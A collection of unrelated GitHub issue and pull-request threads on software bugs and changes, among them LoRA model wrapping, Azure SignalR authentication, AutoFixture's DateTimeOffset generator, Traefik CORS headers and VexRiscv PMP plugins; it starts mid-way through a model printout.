                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=4096, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=4096, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (o_proj): Linear(
                in_features=4096, out_features=4096, bias=False
                (lora_dropout): ModuleDict(
                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=4096, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=4096, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (rotary_emb): LlamaRotaryEmbedding()
            )
            (mlp): LlamaMLP(
              (gate_proj): Linear(
                in_features=4096, out_features=11008, bias=False
                (lora_dropout): ModuleDict(
                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=4096, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=11008, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (up_proj): Linear(
                in_features=4096, out_features=11008, bias=False
                (lora_dropout): ModuleDict(
                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=4096, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=11008, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (down_proj): Linear(
                in_features=11008, out_features=4096, bias=False
                (lora_dropout): ModuleDict(
                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=11008, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=4096, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (act_fn): SiLUActivation()
            )
            (input_layernorm): LlamaRMSNorm()
            (post_attention_layernorm): LlamaRMSNorm()
          )
	.....
        )
        (norm): LlamaRMSNorm()
      )
      (lm_head): Linear(in_features=4096, out_features=32000, bias=False)
    )
  )
)

This is the script I used to convert the model:
import os
import torch
from transformers import LlamaForCausalLM, AutoTokenizer

from peft import LoraConfig, get_peft_model

model_dir="llama_2_7b_chat"
model = LlamaForCausalLM.from_pretrained(model_dir)

target_modules = ["q_proj", "k_proj", "v_proj", "o_proj", "gate_proj", "up_proj", "down_proj"]

config = LoraConfig(
    r=4, lora_alpha=16, target_modules=target_modules, lora_dropout=0.1, bias="none", task_type="CAUSAL_LM"
)
model = get_peft_model(model, config)
print(model)

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!

This issue has been automatically marked as stale because it has not had recent activity. If you think this still needs to be addressed please comment on this thread. Thank you!


Azure SignalR authentication not working for custom Blazor Server Hubs with Azure AD B2C

Describe the bug
We use Azure AD B2C to authtenticate users in our web portal and use SignalR to send dedicated messages  between user groups based on the rooms you have access too. This is all working fine when I self host SignalR, but on our production server we use Azure SignalR and there the authentication isn't working even though I pass all headers and cookies as described in this article:
https://learn.microsoft.com/en-us/answers/questions/1160923/solution-custom-signalr-endpoints-(hubs)-in-a-blaz
Any idea how I can get authentication to work for custom Blazor Server hubs?
Exceptions (if any)
System.IO.InvalidDataException: Invalid negotiation response received.
 ---> System.Text.Json.JsonReaderException: '<' is an invalid start of a value. LineNumber: 0 | BytePositionInLine: 0.
   at System.Text.Json.ThrowHelper.ThrowJsonReaderException(Utf8JsonReader& json, ExceptionResource resource, Byte nextByte, ReadOnlySpan`1 bytes)
   at System.Text.Json.Utf8JsonReader.ConsumeValue(Byte marker)
   at System.Text.Json.Utf8JsonReader.ReadFirstToken(Byte first)
   at System.Text.Json.Utf8JsonReader.ReadSingleSegment()
   at System.Text.Json.Utf8JsonReader.Read()
   at Microsoft.AspNetCore.Internal.SystemTextJsonExtensions.CheckRead(Utf8JsonReader& reader)
   at Microsoft.AspNetCore.Http.Connections.NegotiateProtocol.ParseResponse(ReadOnlySpan`1 content)
   --- End of inner exception stack trace ---
   at Microsoft.AspNetCore.Http.Connections.NegotiateProtocol.ParseResponse(ReadOnlySpan`1 content)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnection.NegotiateAsync(Uri url, HttpClient httpClient, ILogger logger, CancellationToken cancellationToken)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnection.GetNegotiationResponseAsync(Uri uri, CancellationToken cancellationToken)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnection.SelectAndStartTransport(TransferFormat transferFormat, CancellationToken cancellationToken)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnection.StartAsyncCore(TransferFormat transferFormat, CancellationToken cancellationToken)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnection.StartAsync(TransferFormat transferFormat, CancellationToken cancellationToken)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnectionFactory.ConnectAsync(EndPoint endPoint, CancellationToken cancellationToken)
   at Microsoft.AspNetCore.Http.Connections.Client.HttpConnectionFactory.ConnectAsync(EndPoint endPoint, CancellationToken cancellationToken)

Further technical details
AspNetCore 7.0.7
Microsoft.Azure.SignalR Version="1.21.4
Microsoft.Identity.Web Version="2.12.4"
Microsoft.AspNetCore.SignalR.Client Version="7.0.7"

I found out the issue had to do with the Azure Frontdoor that I was using. This was working fine for Blazor Wasm, but for a statefull Blazor Server app service this doesn't work. so I disabled the frontdoor


Several install issues

1 - tokens? Notice: undefined index: token in install_profile_modules() line 1440 of install.core.inc
2 - logo -- replace, update those.
3 - Notice: Undef index: environment in to_do_list_form_install_configure_form_submit() (line 293 of to_do_list.install).
4 - the views feature.

logo and views fixed, but notices are not addressed yet.

Let's add populating the status vocab. (it does not)

The deault branch 7.x-1.x is not yet working, the install-fixes builds. Still with issues.


MB-4867: deploy webhook client to staging

Description
This sets up the required CircleCI configurations, along with an environment configuration file to deploy the webhook client container to staging. Once this PR is merged (assuming everything works), the webhook client will be deployed to staging.
Setup
Merge to master and watch CircleCI run.
Code Review Verification Steps

[x] If the change is risky, it has been tested in experimental before merging.
[x] Tested in the Experimental environment (for changes to containers, app startup, or connection to data stores)
[ ] Request review from a member of a different team.

References

Jira story for this change

Messages

:book:
:link: MB-4867

  Generated by :no_entry_sign: dangerJS against 01c21c3b37f53a66f263c4d81671fdf3919aa2c2

Closing until we have the go-ahead to roll this out.


Add tests and impl for a random DateTimeOffset generator

This generator is based on the existing RandomDateTimeSequenceGenerator.
By randomly setting the offset you are able to ensure you are dealing
correctly with data from different time zones.
We (On The Beach) needed to generate DateTimeOffsets to test some of our
code. We have been using this generator for a while now, and in cleaning
up our code-base decided it was time to contribute this back.
Thanks for the great tool!

@steve-codemunkies, thank you for opening a pull request 😃 I've started a review and left a comment.

Hello, is there a problem with the pull request, the only comment is the one above?
Thanks, Steve

Hello, is there a problem with the pull request, the only comment is the one above?

This was the comment. I've no idea why it didn't show up (?) 😕

@steve-codemunkies Will you be able to find some and and follow up on this one so we can finally close it? ☺

Sorry, got a bit busy... :) Anyway, it doesn't really add or detract to making the change, so please advise

I never went too deep here, so i am just shooting in the dark. I hope nobody gets hurt :)
Would it be too big of a change to make DT as a special case of DTO?
Basically move the real logic in the Sequence Generator for DateTimeOffset and change the DateTime one to use the former and just return the value of the DateTime property of the created object.

@zvirja and @Kralizek so to answer your various points:

Using specimenContext.Resolve(typeof(DateTime)) is a non-starter (especially in the scenario that I created this generator for) as you have no control of the range of dates created. The code that I am testing requires different actions depending on the date/time, and the system I am integrating supplies the date/times as DateTimeOffset (making use of the offset part).

It is possible to swap to use RandomDateTimeSequenceGenerator, but it does not add to the clarity of the code, further -

System.DateTime and System.DateTimeOffset are not super/sub classes of each other. DateTimeOffset does make use of DateTime internally, but it also makes use of TimeSpan and a number of other types as well. They represent similar and closely related concepts, but they do that very differently.

Therefore I don't think that the changes requested are suitable or would aid or improve the clarity of either RandomDateTimeOffsetSequenceGenerator or RandomDateTimeSequenceGenerator.

Thanks for the replies. Let's proceed to have the complete clarity because I'm likely still missing something 😉

System.DateTime and System.DateTimeOffset are not super/sub classes of each other. DateTimeOffset does make use of DateTime internally, but it also makes use of TimeSpan and a number of other types as well. They represent similar and closely related concepts, but they do that very differently.

I do also agree to not alter the DateTime creation logic and follow the append-only approach.

Using specimenContext.Resolve(typeof(DateTime)) is a non-starter (especially in the scenario that I created this generator for) as you have no control of the range of dates created.

I don't see how the existing way allows you to control that. Currently you internally create DateTime within (-2;+2) range, exactly how it will be done by context.Resolve(typeof(DateTime)). Later you register builder with this predefined range in the DefaultPrimitiveBuilders instance. User doesn't have any control on the ranges this builder uses later. With such approach the only way for user to customize ranges will be to add a custom RandomDateTimeOffsetSequenceGenerator instance to the fixture.Customizations with customized range.
If we follow the way I suggested, we will need to customize the DateTime creation and register a DateTime builder with custom range instead. Later DateTimeOffset will use the customized range indirectly.
For me DateTimeOffset looks like DateTime + time zone offset. Therefore, it looks naturally that it delegates DateTime creation outside to the fixture (and depends on DateTime range customizations if there are such ones).
Have I overlooked something in my judgement or missed some usage scenario that is not covered? Do we indeed need isolation between DateTime and DateTimeOffset? I haven't worked with DateTimeOffset too much, so I might miss something. My intention is to use multi-dispatch polymorphism as much as possible and do not control sub-components creation if that is not necessarily required for correct work or handling the particular scenarios.

It is possible to swap to use RandomDateTimeSequenceGenerator, but it does not add to the clarity of the code, further -

Could you please attach a sample of code how RandomDateTimeOffsetSequenceGenerator will look if you use RandomDateTimeSequenceGenerator instead, so we can compare?
Thank you :)

@steve-codemunkies I hope our discussion haven't caused you to lost the passion to this PR.. 😕

@steve-codemunkies Just a friendly reminder 😅 Hope, you have free time these days, so we can proceed further and finally merge the PR.

@steve-codemunkies It's being a while since your last comment. Could you please reply? If we don't merge this one in the nearby future (in a week or two) I'll be forced to close this PR, as I'm going to apply the final breaking changes to the v4 branch. Otherwise, it will be a hell to merge the code.
Thanks!

Hi,
Sorry, I've been very busy. I've put in a new pull request (https://github.com/AutoFixture/AutoFixture/pull/860) that now uses the RandomDateTimeSequenceGenerator. As I have previously said though I do not feel that this adds anything to this generator.
Also I'm afraid @zvirja you're still conflating DateTime and DateTimeOffset. You are absolutely correct that you need to remove this generator and then re-add to get DateTimeOffsets in the range that you require. And this is what I do in my code that uses this. What I don't do is remove the RandomDateTimeSequenceGenerator and set this up as I am not generating DateTime objects. To me your suggestion is completely counter-intuitive. It is like asking a user to remove and add a configured version of Int32SequenceGenerator to control how strings are generated.
Thanks, Steve

I've put in a new pull request (#860) that now uses the RandomDateTimeSequenceGenerator

Thanks for that! 👍 Personally, it looks much better. While the number of lines of code is almost the same, idiomatically this code is more correct as RandomDateTimeOffsetSequenceGenerator now have less responsibilities. However, let's resort to that approach only if we don't agree with context.Resolve(typeof(DateTime)) - see below.

It is like asking a user to remove and add a configured version of Int32SequenceGenerator to control how strings are generated.

Well, you are cheating a bit 😉 The DateTimeOffset type is composite and consists of DateTime and Offset, while string is not composite. Let's compare it better with MailAddressGenerator or UriGenerator - for me they look similar to DateTimeOffset.
I've read more about DateTimeOffset on MSDN and Microsoft seem to often mention that it's a composition of DateTime and Offset.
Here:

The DateTimeOffset type includes all of the functionality of the DateTime type along with time zone awareness.

Here:

The DateTimeOffset structure includes a DateTime value, together with an Offset property that defines the difference between the current DateTimeOffset instance's date and time and Coordinated Universal Time (UTC).

It makes me to consider DateTimeOffset as a composition, so type should be classified in the same way as MailAddress or Uri.

I still don't see benefits from the approach when you own DateTime creation, rather than delegate it to the context.Resolve(typeof(DateTime)). It doesn't seem that you need to constrain DateTime value in any special manner - you might construct the DateTimeOffset instance using any arbitrary DateTime object. Another story is with Offset - any arbitrary value will not work here, so we are forced to own the creation.
The reason why I'm persisting on this approach is that we follow it all over our code base. When we create composite types, we ask for the required parts, rather than own their generators. For instance:

MailAddressGenerator delegates EmailAddressLocalPart and DomainName creation, rather than owns the generators locally.
UriGenerator delegates UriScheme and authority creation, rather than owns generators.

In this case we need to customize e.g. DomainName generator to affect the MailAddress creation and it's perfectly fine here.
Therefore, I'd like to ask you again to clearly describe all the reasons in form of a bullet list why we need to own the DateTime creation and cannot delegate it to the kernel using context. Resolve(typeof(DateTime)) instead. That will allow us to evaluate all the points and decide more correct approach.
P.S. Sorry for being strict and taking your extra-time on this question - I want to align our visions and understand why we might decide to follow the approach that differs from what we are doing in the similar classes now. That is a way to make everybody happy - you as a contributor and us as maintainers, who will support that code later 😉

Internally yes, DateTimeOffset is a composite (I've looked in the code too), however the two are still separate, though related concepts.
Thanks anyway, but I'll continue with the generator in my own codebase.

@steve-codemunkies Honestly - I'm a bit frustrated by your actions. I'm not charged to work on this project and spend my free time on it instead. I've already invested some amount of my resources thinking about your case and analyzing how it's better to perform the actions. Also I spend a few more hours to compose the answers to you and review how you implemented the feature and compare how similar features are implemented in our codebase. By doing this I supposed that we finally reach out to some agreement and the PR would be merged in some form. However instead I'm left with a feeling that I simply wasted my time and obviously such things don't inspire.
How I see it now, you simply closed the PR after you see that we have concerns regarding the current PR implementation and want to communicate things. If that is so - this is disrespectful to me and other members who participated in review of this PR. I could understand if man closes a PR because of some important reason - e.g. he doesn't have time more to work on that, or it has been agreed to not include the feature. However even in such cases it's being agreed before, so there is a chance to pick up code by somebody else before PR is closed. Such things are usually implicitly meant by contribution etiquette and by contributing to the project you should realize that there might be some ongoing discussions and you might need to apply additional changes before things are merged. If you are not ready to invest to that - it's probably better to fire an issue, rather than a PR - so less resources are invested into this.
The reason you provided is still not strong enough to explain the current approach.

Internally yes, DateTimeOffset is a composite (I've looked in the code too), however the two are still separate, though related concepts.

Composite entity consists of other members, but is not those members. The MailAddress consists of DomainName, but you would agree that MailAddress and DomainName "are still separate, though related concepts". Therefore, if MailAddressGenerator delegates DomainName creation, I don't see why DateTimeOffsetGenerator should own the DateTime creation.
Wish you luck with your subsequent contributions and hope you'll not repeat the same pattern again.

I would add that whilst it is true that DateTimeOffset is composing DateTime and TimeSpan, DTO uses only a specific Kind of DateTime.
Long story short (and forgive me for not providing sources), an instance of DateTime can be of Kind Local, Utc or Unspecified (casing is because those are the names used in the BCL). DateTimeOffset only uses DateTime of Kind Utc.
That being said, I am not sure whether or not the DTO constructor that accepts a DT purifies its inputs. If that is not the case, using any instance of DateTime would not be optimal.
As for the TimeSpan, that could be reduced to an Int32 generator that picks signed values between -11 and +12, at the price of losing the half time zones.

If that is not the case, using any instance of DateTime would not be optimal.

You could easily normalize the value using DateTime API - that is still not a reason to own the DateTime activation :blush:

As for the TimeSpan, that could be reduced to an Int32 generator

The existing implementation looked also fine for me and I'd kept it as is :wink:
For now, I don't see a reason to discuss this further and spend resources on this as the PR was closed.


fix: Failed to Send alert firing

Because there is no data and it is set to alert on no data

Looks like fixed in #51, closing


Update CompRefrigerator.cs

The implicit cast makes the game spit errors

Thank you, for this—I'd been meaning to get around to it at some point.
P.S. I went ahead and edited your commit to omit the extraneous whitespace changes.


Use the same product image on category and product page - or prefetch product image

The main goal here is: speed + offline support

@pkarw do you mean the same image size ?

Yes, because the resizing proxy is used here to generate the image file. The goal is to have the product image in browser cache when entering product page


Create cs_CZ.json

Translation of Czech language

You are sure.Thank for check!.
I do a review of all row and delete/add rows to by sync with en_US.json


Hotfix for play button and forum issues

This will fix the Bug Illustration misalignment, and also a Thredded container issue.
But more importantly will add the play buttons back to white theme accordion tracks!
Does anything special need to happen for deployment?
I don't think so, just a couple lines of CSS!
"Ready For Review" checklist
These checklists are to help ensure the code review basics are covered. Consider removing to reduce noise.

[ ] PR title accurately summarizes changes
[ ] New tests were added for isolated methods or new endpoints
[ ] I opened an issue for any logical followups
[ ] If this fixes a bug, "Fixes #XXX" is either the very first or very last line of the description.

Before code review and after additional commits during review.

[ ] Update title and description to account for additional changes
[ ] All tests green
[ ] Migrations were tested locally and do the right thing
[ ] Booted up the branch locally, exercised any new code
[ ] Percy changes are purposeful or explained
[ ] Css changes are happy on mobile (via Percy is ok)

Looks like Percy caught the play button on WT, I must have hastily approved and only actually looked at the DT changes: https://percy.io/alonetone/alonetone/builds/3521799?


subctl validate: Add validation for service-discovery

What would you like to be added:
Add support for service-discovery in subctl validate
Why is this needed:
Currently subctl validate doesn't support validation of service-discovery components. This makes it difficult to find out any discovery related issues in a submariner deployment.

bump

This should also cover diagnose. @vthapar is happy to mentor someone on this.


Multiple New Tree Blocks are Overwritten

When creating two or more Mark.tree blocks within a single document using Mark.manyOf , then the first tree is used for both when parsing the emu file. For example if you have two mark blocks List and Tree, with the block name |> List and |> Tree respectively, then you can only make blocks using those two names as confirmed by the compiler. However, the first item in your manyOf is what is used when the document is actually parsed. For example if you are using Mark.manyOf [ list, tree ] then all |> Tree elements within a document are then are parsed as List elements. The reverse then happend if you do Mark.manyOf [ tree, list ]

I assume this repo is no longer being worked on but I can confirm that I am facing the same issue - when trying to get multiple blocks parsed, whichever tree block is mentioned first will overwrite any others.


Added terraform-0.7.x support to DigitalOcean.

Hi Tamsky,
As you are coordinating the merges for terraform-0.7.x, I would like to upgrade the DigitalOcean upgrade.

Thanks for doing this!
I'm waiting to hear back from the Capgemini guys to see if they want this included in https://github.com/Capgemini/kubeform/pull/171

https://github.com/Capgemini/kubeform/pull/171#issuecomment-264254054 has their response.
https://github.com/Capgemini/kubeform/pull/172 has my squashed PR.
Feel free to merge with it and open a new PR directly against the Capgemini/kubeform repo.


Support preserving single-line comment style

Support preserving the single-line comment used in parsed Javascript code, so that escodegen can use the right style ('//', '', '/*') to rebuild the tree.
I would have preferred to replace "type" in comment to be this prefix, but that would obviously break the API.
This solves issue #2003

I'm aware of the unsuccessful tests and fixing the UTs.

Codecov Report

Merging #1999 into master will decrease coverage by 0.04%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1999      +/-   ##
==========================================
- Coverage     100%   99.95%   -0.05%
==========================================
  Files           1        1
  Lines        4056     4061       +5
  Branches      715      717       +2
==========================================
+ Hits         4056     4059       +3
- Partials        0        2       +2

Impacted Files
Coverage Δ

dist/esprima.js
99.95% <0%> (-0.05%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fe13460...5539d8e. Read the comment docs.

It looks like Firefox crashed in AppVeyor build according to the logs

@ariya whenever you have time, this PR is to keep the comment style while parsing. Thanks!

@GuyLewin This repo is stall. Don't expect too much. PR's that is over 1y old and he never looked into them or merged. The author was active last 22 days ago (see his profile) and promised to follow up on other PR's. Didn't happen.
I just don't say you shouldn't expect too much. Even the ES2018 feature implementation that was scheduled to mid last year is delayed. See open project for reference.
And the author doesn't like that I use the word "stall" so be aware. But just look around on the repo and you understand.

Hi @GuyLewin, thanks for the PR! However, could you open an issue first? Since it changes the API, we need to be a bit more formal in discussing the API, any potential performance impact, doc change, etc. Thank you!

@ariya thanks! Created an issue ( #2003 ) and updated the API documentation in this PR.
Please have a look at the implementation dilemma I wrote in the issue, whether to split LineComment into 3 types (which will break API) or to add style property to all comments (that's how I chose to implement).
Thanks again

Codecov Report

Merging #1999 into master will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master     #1999   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            1         1
  Lines         4056      4057    +1
  Branches       715       715
=========================================
+ Hits          4056      4057    +1

Impacted Files
Coverage Δ

dist/esprima.js
100.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fe13460...0d6a7ee. Read the comment docs.

Codecov Report

Merging #1999 (0d6a7ee) into master (fe13460) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master     #1999   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            1         1
  Lines         4056      4057    +1
  Branches       715       715
=========================================
+ Hits          4056      4057    +1

Impacted Files
Coverage Δ

dist/esprima.js
100.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fe13460...0d6a7ee. Read the comment docs.

After some more deliberation, I think it's better to do this as either a post-processing step or by leveraging the [syntax node delegate]https://esprima.readthedocs.io/en/latest/syntactic-analysis.html#syntax-delegate).
We will likely keep comment attachment as a backward compatibility feature and would not change nor extend it for any foreseeable future.
Thank you very much!

After some more deliberation, I think it's better to do this as either a post-processing step or by leveraging the [syntax node delegate]https://esprima.readthedocs.io/en/latest/syntactic-analysis.html#syntax-delegate).
We will likely keep comment attachment as a backward compatibility feature and would not change nor extend it for any foreseeable future.
Thank you very much!


"Not a valid TensorFlow Graph serialization" at org.tensorflow.contrib.android.TensorFlowInferenceInterface.loadGraph.loadGraph

Hi,
I build libtensorflow_inference.so & libandroid_tensorflow_inference_java.jar from source, then use them in an android studio project. But when I run
TensorFlowInferenceInterface tflite = new TensorFlowInferenceInterface(assetManager, MODEL_PATH);
the program always crashes and prints
"
Caused by: java.io.IOException: Not a valid TensorFlow Graph serialization: Invalid GraphDef
at org.tensorflow.contrib.android.TensorFlowInferenceInterface.loadGraph(TensorFlowInferenceInterface.java:551)
at org.tensorflow.contrib.android.TensorFlowInferenceInterface.(TensorFlowInferenceInterface.java:105)
......
"
The tflite file in MODEL_PATH is generated successfully by bazel toco from a model graph, and the tflite file is successfully read into byte array. Are there any special restrictions on the graph? What are the possible reasons why function TensorFlowInferenceInterface.loadGraph() throws an Exception?
Thanks a lot.

Thank you for your post. We noticed you have not filled out the following field in the issue template. Could you update them if they are relevant in your case, or leave them as N/A? Thanks.
Have I written custom code
OS Platform and Distribution
TensorFlow installed from
TensorFlow version
Bazel version
CUDA/cuDNN version
GPU model and memory
Exact command to reproduce


copy byte obj to clipboard

Description
What steps will reproduce the problem?

create an obj, type = bytes
Copying the byte oject to the clipboard
Faliure of copy

Traceback
  File "C:\Users\Steven\tmp\lib\site-packages\spyder\plugins\variableexplorer\widgets\collectionseditor.py", line 1071, in copy
    obj = to_text_string(obj, 'utf8')
  File "C:\Users\Steven\tmp\lib\site-packages\spyder\py3compat.py", line 162, in to_text_string
    return str(obj, encoding)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte

Versions

Spyder version: 4.0.1
Python version: 3.7.3
Qt version: 5.9.6
PyQt5 version: 5.9.2
Operating System: Windows 7

Dependencies
atomicwrites >=1.2.0         :  1.3.0 (OK)
chardet >=2.0.0              :  3.0.4 (OK)
cloudpickle >=0.5.0          :  0.8.0 (OK)
diff_match_patch >=20181111  :  20181111 (OK)
intervaltree                 :  None (OK)
IPython >=4.0                :  7.4.0 (OK)
jedi =0.14.1                 :  0.14.1 (OK)
nbconvert >=4.0              :  5.4.1 (OK)
numpydoc >=0.6.0             :  0.8.0 (OK)
pexpect >=4.4.0              :  4.8.0 (OK)
pickleshare >=0.4            :  0.7.5 (OK)
psutil >=0.3                 :  5.6.1 (OK)
pygments >=2.0               :  2.3.1 (OK)
pylint >=0.25                :  2.3.1 (OK)
pyls >=0.31.2;<0.32.0        :  0.31.7 (OK)
zmq >=17                     :  18.0.0 (OK)
qdarkstyle >=2.7             :  2.8 (OK)
qtawesome >=0.5.7            :  0.5.7 (OK)
qtconsole >=4.6.0            :  4.6.0 (OK)
qtpy >=1.5.0                 :  1.7.0 (OK)
rtree >=0.8.3                :  0.8.3 (OK)
sphinx >=0.6.6               :  1.8.5 (OK)
spyder_kernels >=1.8.1;<2.0.0:  1.8.1 (OK)
watchdog                     :  None (OK)
cython >=0.21                :  0.29.6 (OK)
matplotlib >=2.0.0           :  3.0.3 (OK)
numpy >=1.7                  :  1.16.2 (OK)
pandas >=0.13.1              :  0.24.2 (OK)
scipy >=0.17.0               :  1.2.1 (OK)
sympy >=0.7.3                :  1.3 (OK)

Just tested with latest 4.x and seems to be working. @dalthviz or @impact27 did you fix this already :-p  ?

Ok, I tested on Mac only. @dalthviz could you test on windowS?

create an obj, type = bytes

Please post the code you used to create the object you're trying to copy. We need that to reproduce this error in our side.

@goanpeca I tested but I'm unable to trigger an error. Probably as @ccordoba12 asked we need @aazz0099a to give the code to create the object he is trying to copy and reproduce this.

sorry for the late reply guys. i cannot recall really clearly what i was doing at that time but i found my script.
'''''''''''''''''''''''
mail = imaplib.IMAP4_SSL('imap.gmail.com')
mail.login(ac, pw)
mail.select('inbox')
email_list = mail.uid('search', None, 'ALL')
email_content = mail.uid('fetch', '1', '(RFC822)')
raw_message = codecs.decode(email_content[1][0][1], encoding='utf-8', errors='strict')
It seems i was retrieving some data from my mailbox and i guess the bug happened when i was trying to copy the byte message from Spyder. Hope this would help you guys :) @dalthviz @goanpeca @ccordoba12

Thanks for the info @aazz0099a !


Duplicate cors headers when using accessControlAllowOrigin: origin-list-or-null

Do you want to request a feature or report a bug?
Bug
What did you do?
I've enabled the headers middleware in order to handle a cors issue.
This is my service configuration:
http:
  middlewares:
    cors:
      headers:
        accessControlAllowOrigin: "origin-list-or-null"
        accessControlAllowCredentials: true
        accessControlAllowHeaders:
          - 'X-CSRF-Token'
          - 'Content-Type'
          - 'Access-Control-Allow-Origin'

  services:
    api:
      loadBalancer:
        passHostHeader: false
        servers:
          - url: 'https://remote.server.url/'

  routers:
    api-web:
      entrypoints:
        - 'web'
      service: 'api'
      rule: 'Host(`api.localhost.com`)'
      middlewares:
        - 'cors'

When I request a resource to the API service it returns the Access-Control headers replicated.
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://app.localhost.com
Access-Control-Allow-Origin: http://app.localhost.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: application/json;charset=ISO-8859-1
Date: Thu, 12 Dec 2019 13:54:07 GMT
Expires: 0
Pragma: no-cache
Server: Apache
Vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 469

This causes the following security error in chrome
Access to XMLHttpRequest at 'http://api.localhost.com/authservice/auth/login' from origin 'http://app.localhost.com' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header contains multiple values 'http://app.localhost.com, http://app.localhost.com', but only one is allowed.

Traefik running in docker with arguments:
'--api.insecure=true --providers.docker=true --providers.file.watch=true --providers.file.filename=/routes.yml --global.sendAnonymousUsage=true --log.level="DEBUG" --accesslog=true --entryPoints.web.address=":80"'

Hi ! It looks like this issue is a duplicate of #5567 , and should be fixed by #5996 :)


Update VexRiscv to b6118e6cc2a3, sbt to 1.9.7, SpinalHDL to 1.9.4; make PMP plugin selection configurable

This updates the pinned VexRiscv commit to b6118e6cc2a3, which (amongst other things) integrates the changes

https://github.com/SpinalHDL/VexRiscv/pull/374
https://github.com/SpinalHDL/VexRiscv/pull/378

These changes fix a bug in the "PmpPluginOld" (which supports all PMP addressing modes of NA4, NAPOT, and TOR) relating to address calculation for NAPOT regions. Futhermore, they "undeprecate" the PmpPluginOld by renaming it to PmpPlugin, indicating its full-featuredness compared to the now-called PmpPluginNapot.
Shipping both of these plugins, upstream VexRiscv allows this repository to select the appropriate one depending on the particular user preferences. To this end, I introduce a pmpAddressMatchingModes switch, where users can indicate which modes shall be supported in their CPU. For the VexRiscv_Secure target, it now defaults to the full-featured PMP plugin, effectively reverting to the state of #9. Changing this to the PmpPluginNapot as done in #12 unexpectedly broke downstream consumers such as TockOS, which thus needed to build and ship their own CPU variant (https://github.com/tock/tock/pull/2860). Thus, this change should allow OSes such as Tock, which require a spec-compliant PMP implementation, to revert back to the pre-built VexRiscv_Secure CPU target.
I can add a VexRiscv_SecureNapot target, to also retain the more optimized, but feature-limited and non-spec compliant version, if desired.
Furthermore, this PR updates the sbt version to 1.9.7, to work around an issue with using it with recent JREs ([error] [launcher] error during sbt launcher: java.lang.UnsupportedOperationException: The Security Manager is deprecated and will be removed in a future release), and updates the SpinalHDL versions to match those of the upstream VexRiscv repo.

Thanks :)


Grant Application - Reference Blockchain System

Project Abstract

Please provide a brief description of your project here summarising key points (1-2 paragraphs).
If your application is a follow-up to a previous grant, please mention which one in the first line of the abstract and include a link to previous pull requests if applicable.

For which grant level are you applying?

[ ] Level 1:  Up to $10,000, 2 approvals
[x] Level 2:  Up to $50,000, 3 approvals
[ ] Level 3:  Unlimited, 5 approvals (for > $100k Web3 Foundation Council approval)

Application Checklist

[x] The application template has been copied, renamed ( project_name.md) and updated.
[x] I have read and understood the FAQs, application guidelines and announcement guidelines.
[x] A BTC or Ethereum (DAI/USDT) address for the payment of the milestones is provided inside the application.
[x] I have read and acknowledge the terms and conditions.
[x] The software delivered for this grant will be released under an open-source license specified in the application.
[x] The initial PR contains only one commit (squash and force-push if needed).
[x] The grant will only be announced once the first milestone has been accepted.
